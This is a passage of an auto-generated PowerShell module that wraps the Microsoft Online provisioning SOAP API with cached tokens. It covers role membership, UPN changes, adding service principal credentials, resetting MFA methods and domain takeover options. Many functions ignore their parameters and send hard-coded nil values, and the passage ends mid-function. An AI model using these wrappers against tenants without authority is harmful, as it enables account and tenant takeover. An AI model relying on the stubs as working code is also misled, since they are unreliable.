<c:FirstName i:nil="true"/>
<c:ImmutableId i:nil="true"/>
<c:IndirectLicenseErrors i:nil="true"/>
<c:IsBlackberryUser i:nil="true"/>
<c:IsLicensed i:nil="true"/>
<c:LastDirSyncTime i:nil="true"/>
<c:LastName i:nil="true"/>
<c:LastPasswordChangeTimestamp i:nil="true"/>
<c:LicenseAssignmentDetails i:nil="true"/>
<c:LicenseReconciliationNeeded i:nil="true"/>
<c:Licenses i:nil="true"/>
<c:LiveId i:nil="true"/>
<c:MSExchRecipientTypeDetails i:nil="true"/>
<c:MSRtcSipDeploymentLocator i:nil="true"/>
<c:MSRtcSipPrimaryUserAddress i:nil="true"/>
<c:MobilePhone i:nil="true"/>
<c:ObjectId i:nil="true"/>
<c:Office i:nil="true"/>
<c:OverallProvisioningStatus>None</c:OverallProvisioningStatus>
<c:PasswordNeverExpires i:nil="true"/>
<c:PasswordResetNotRequiredDuringActivate i:nil="true"/>
<c:PhoneNumber i:nil="true"/>
<c:PortalSettings i:nil="true"/>
<c:PostalCode i:nil="true"/>
<c:PreferredDataLocation i:nil="true"/>
<c:PreferredLanguage i:nil="true"/>
<c:ProxyAddresses i:nil="true" xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<c:ReleaseTrack i:nil="true"/>
<c:ServiceInformation i:nil="true"/>
<c:SignInName i:nil="true"/>
<c:SoftDeletionTimestamp i:nil="true"/>
<c:State i:nil="true"/>
<c:StreetAddress i:nil="true"/>
<c:StrongAuthenticationMethods i:nil="true"/>
<c:StrongAuthenticationPhoneAppDetails i:nil="true"/>
<c:StrongAuthenticationProofupTime i:nil="true"/>
<c:StrongAuthenticationRequirements i:nil="true"/>
<c:StrongAuthenticationUserDetails i:nil="true"/>
<c:StrongPasswordRequired i:nil="true"/>
<c:StsRefreshTokensValidFrom i:nil="true"/>
<c:Title i:nil="true"/>
<c:UsageLocation i:nil="true"/>
<c:UserLandingPageIdentifierForO365Shell i:nil="true"/>
<c:UserPrincipalName>$UserPrincipalName</c:UserPrincipalName>
<c:UserThemeIdentifierForO365Shell i:nil="true"/>
<c:UserType i:nil="true"/>
<c:ValidationStatus i:nil="true"/>
<c:WhenCreated i:nil="true"/>
</b:User>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Change-UserPrincipalNameByUpn
function Change-UserPrincipalNameByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[string]$ImmutableId,
[Parameter(Mandatory=$False)]
[string]$NewUserPrincipalName,
[Parameter(Mandatory=$False)]
[string]$NewPassword
)
Process
{
$command="ChangeUserPrincipalNameByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserPrincipalName i:nil="true"/>
<b:ImmutableId i:nil="true"/>
<b:NewUserPrincipalName i:nil="true"/>
<b:NewPassword i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-CompanyContactInformation
function Set-CompanyContactInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$TechnicalNotificationEmails,
[Parameter(Mandatory=$False)]
$MarketingNotificationEmails
)
Process
{
$command="SetCompanyContactInformation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:TechnicalNotificationEmails i:nil="true"/>
<b:MarketingNotificationEmails i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-AdministrativeUnit
function Set-AdministrativeUnit
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AdministrativeUnit,
[Parameter(Mandatory=$False)]
$Description,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="SetAdministrativeUnit"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AdministrativeUnit xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:Description i:nil="true"/>
<c:DisplayName i:nil="true"/>
<c:ObjectId i:nil="true"/>
</b:AdministrativeUnit>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-RoleMembersByRoleName
function Add-RoleMembersByRoleName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$RoleName,
[Parameter(Mandatory=$False)]
$RoleMembers
)
Process
{
$command="AddRoleMembersByRoleName"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleName i:nil="true"/>
<b:RoleMembers i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-UserByLiveId
function Get-UserByLiveId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$LiveId
)
Process
{
$command="GetUserByLiveId"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:LiveId>$LiveId</b:LiveId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-AdministrativeUnitMembers
function Get-AdministrativeUnitMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AdministrativeUnitMemberSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId,
[Parameter(Mandatory=$False)]
$IncludedProperties
)
Process
{
$command="ListAdministrativeUnitMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AdministrativeUnitMemberSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:AdministrativeUnitObjectId i:nil="true"/>
<c:IncludedProperties i:nil="true"/>
</b:AdministrativeUnitMemberSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-AdministrativeUnitMembers
function Remove-AdministrativeUnitMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AdministrativeUnitMembers,
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId
)
Process
{
$command="RemoveAdministrativeUnitMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AdministrativeUnitMembers i:nil="true"/>
<b:AdministrativeUnitObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Retry-ContactProvisioning
function Retry-ContactProvisioning
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="RetryContactProvisioning"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-AccidentalDeletionThreshold
function Set-AccidentalDeletionThreshold
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AccidentalDeletionThreshold
)
Process
{
$command="SetAccidentalDeletionThreshold"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AccidentalDeletionThreshold i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ForeignGroupFromRole
function Remove-ForeignGroupFromRole
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$RoleObjectId,
[Parameter(Mandatory=$False)]
$ForeignCompanyObjectId,
[Parameter(Mandatory=$False)]
$ForeignGroupObjectId
)
Process
{
$command="RemoveForeignGroupFromRole"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleObjectId i:nil="true"/>
<b:ForeignCompanyObjectId i:nil="true"/>
<b:ForeignGroupObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-UserLicenses
function Set-UserLicenses
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AddLicenses,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$RemoveLicenses,
[Parameter(Mandatory=$False)]
$LicenseOptions
)
Process
{
$command="SetUserLicenses"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AddLicenses i:nil="true"/>
<b:ObjectId>$ObjectId</b:ObjectId>
<b:RemoveLicenses i:nil="true"/>
<b:LicenseOptions i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-RoleScopedMembers
function Get-RoleScopedMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$RoleMemberSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$MemberObjectTypes,
[Parameter(Mandatory=$False)]
$RoleObjectId
)
Process
{
$command="ListRoleScopedMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleMemberSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:IncludedProperties i:nil="true"/>
<c:MemberObjectTypes i:nil="true"/>
<c:RoleObjectId i:nil="true"/>
</b:RoleMemberSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-Group
function Remove-Group
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="RemoveGroup"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-WellKnownGroup
function Add-WellKnownGroup
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$WellKnownGroupName
)
Process
{
$command="AddWellKnownGroup"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:WellKnownGroupName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-UsersByStrongAuthentication
function Get-UsersByStrongAuthentication
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$AccountSku,
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId,
[Parameter(Mandatory=$False)]
$BlackberryUsersOnly,
[Parameter(Mandatory=$False)]
$City,
[Parameter(Mandatory=$False)]
$Country,
[Parameter(Mandatory=$False)]
$Department,
[Parameter(Mandatory=$False)]
$DomainName,
[Parameter(Mandatory=$False)]
$EnabledFilter,
[Parameter(Mandatory=$False)]
$HasErrorsOnly,
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$IndirectLicenseFilter,
[Parameter(Mandatory=$False)]
$LicenseReconciliationNeededOnly,
[Parameter(Mandatory=$False)]
$ReturnDeletedUsers,
[Parameter(Mandatory=$False)]
$State,
[Parameter(Mandatory=$False)]
$Synchronized,
[Parameter(Mandatory=$False)]
$Title,
[Parameter(Mandatory=$False)]
$UnlicensedUsersOnly,
[Parameter(Mandatory=$False)]
$UsageLocation
)
Process
{
$command="ListUsersByStrongAuthentication"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:AccountSku i:nil="true"/>
<c:AdministrativeUnitObjectId i:nil="true"/>
<c:BlackberryUsersOnly i:nil="true"/>
<c:City i:nil="true"/>
<c:Country i:nil="true"/>
<c:Department i:nil="true"/>
<c:DomainName i:nil="true"/>
<c:EnabledFilter i:nil="true"/>
<c:HasErrorsOnly i:nil="true"/>
<c:IncludedProperties i:nil="true"/>
<c:IndirectLicenseFilter i:nil="true"/>
<c:LicenseReconciliationNeededOnly i:nil="true"/>
<c:ReturnDeletedUsers i:nil="true"/>
<c:State i:nil="true"/>
<c:Synchronized i:nil="true"/>
<c:Title i:nil="true"/>
<c:UnlicensedUsersOnly i:nil="true"/>
<c:UsageLocation i:nil="true"/>
</b:UserSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-Group
function Add-Group
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Group,
[Parameter(Mandatory=$False)]
$AssignedLicenses,
[Parameter(Mandatory=$False)]
$CommonName,
[Parameter(Mandatory=$False)]
$Description,
[Parameter(Mandatory=$False)]
$DirSyncProvisioningErrors,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$EmailAddress,
[Parameter(Mandatory=$False)]
$Errors,
[Parameter(Mandatory=$False)]
$GroupLicenseProcessingDetail,
[ValidateSet('DistributionList','Security','MailEnabledSecurity')]
$GroupType="DistributionList",
[Parameter(Mandatory=$False)]
$IsSystem,
[Parameter(Mandatory=$False)]
$LastDirSyncTime,
[Parameter(Mandatory=$False)]
$Licenses,
[Parameter(Mandatory=$False)]
$ManagedBy,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$ProxyAddresses,
[ValidateSet('NotAvailable','Healthy','Error')]
$ValidationStatus="NotAvailable"
)
Process
{
$command="AddGroup"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Group xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:AssignedLicenses i:nil="true"/>
<c:CommonName i:nil="true"/>
<c:Description i:nil="true"/>
<c:DirSyncProvisioningErrors i:nil="true"/>
<c:DisplayName i:nil="true"/>
<c:EmailAddress i:nil="true"/>
<c:Errors i:nil="true"/>
<c:GroupLicenseProcessingDetail i:nil="true"/>
<c:GroupType i:nil="true"/>
<c:IsSystem i:nil="true"/>
<c:LastDirSyncTime i:nil="true"/>
<c:Licenses i:nil="true"/>
<c:ManagedBy i:nil="true"/>
<c:ObjectId i:nil="true"/>
<c:ProxyAddresses i:nil="true"/>
<c:ValidationStatus i:nil="true"/>
</b:Group>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-ServicePrincipalCredentials
function Add-ServicePrincipalCredentials
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$Credentials,
[Parameter(Mandatory=$False)]
[Boolean]$MsodsAsKeyStore
)
Process
{
$command="AddServicePrincipalCredentials"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:Credentials i:nil="true"/>
<b:MsodsAsKeyStore i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-GroupResults
function Navigate-GroupResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateGroupResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-GroupMemberResults
function Navigate-GroupMemberResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateGroupMemberResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Reset-StrongAuthenticationMethodByUpn
function Reset-StrongAuthenticationMethodByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName
)
Process
{
$command="ResetStrongAuthenticationMethodByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserPrincipalName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-ServicePrincipalCredentialsByAppPrincipalId
function Add-ServicePrincipalCredentialsByAppPrincipalId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Credentials,
[Parameter(Mandatory=$False)]
$AppPrincipalId,
[Parameter(Mandatory=$False)]
[Boolean]$MsodsAsKeyStore
)
Process
{
$command="AddServicePrincipalCredentialsByAppPrincipalId"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Credentials i:nil="true"/>
<b:AppPrincipalId i:nil="true"/>
<b:MsodsAsKeyStore i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Group
function Get-Group
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="GetGroup"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-PasswordPolicy
function Get-PasswordPolicy
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$DomainName
)
Process
{
$command="GetPasswordPolicy"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:DomainName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-Domain
function New-Domain
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ForceTakeover,
[Parameter(Mandatory=$False)]
$Domain,
[Parameter(Mandatory=$False)]
[ValidateSet('Managed','Federated')]
$Authentication,
[Parameter(Mandatory=$False)]
$Capabilities,
[Parameter(Mandatory=$False)]
$IsDefault,
[Parameter(Mandatory=$False)]
$IsInitial,
[Parameter(Mandatory=$False)]
$Name,
[Parameter(Mandatory=$False)]
$RootDomain,
[Parameter(Mandatory=$False)]
$Status,
[Parameter(Mandatory=$False)]
$VerificationMethod
)
Process
{
$command="AddDomain"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Domain xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
$(Add-CElement -Parameter "Authentication" -Value $Authentication)
<c:Authentication i:nil="true"/>
<c:Capabilities i:nil="true"/>
<c:IsDefault i:nil="true"/>
<c:IsInitial i:nil="true"/>
$(Add-CElement -Parameter "Name" -Value $Name)
<c:RootDomain i:nil="true"/>
<c:Status i:nil="true"/>
<c:VerificationMethod i:nil="true"/>
</b:Domain>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-HeaderInfo
function Get-HeaderInfo
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ClientVersionHeader,
[Parameter(Mandatory=$False)]
[string]$IdentityHeaderName,
[Parameter(Mandatory=$False)]
$ContractVersionHeader,
[Parameter(Mandatory=$False)]
[string]$TrackingHeaderName,
[Parameter(Mandatory=$False)]
[string]$HeaderNameSpace,
[Parameter(Mandatory=$False)]
$TrackingHeader,
[Parameter(Mandatory=$False)]
[string]$ContractVersionHeaderName,
[Parameter(Mandatory=$False)]
$ContextHeader,
[Parameter(Mandatory=$False)]
$ReturnValue,
[Parameter(Mandatory=$False)]
[string]$ClientVersionHeaderName,
[Parameter(Mandatory=$False)]
[string]$ContextHeaderName
)
Process
{
$command="GetHeaderInfo"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ClientVersionHeader i:nil="true">
<b:IdentityHeaderName i:nil="true"/>
<b:ContractVersionHeader i:nil="true"/>
<b:TrackingHeaderName i:nil="true"/>
<b:HeaderNameSpace i:nil="true"/>
<b:TrackingHeader i:nil="true"/>
<b:ContractVersionHeaderName i:nil="true"/>
<b:ContextHeader i:nil="true"/>
<b:ReturnValue i:nil="true"/>
<b:ClientVersionHeaderName i:nil="true"/>
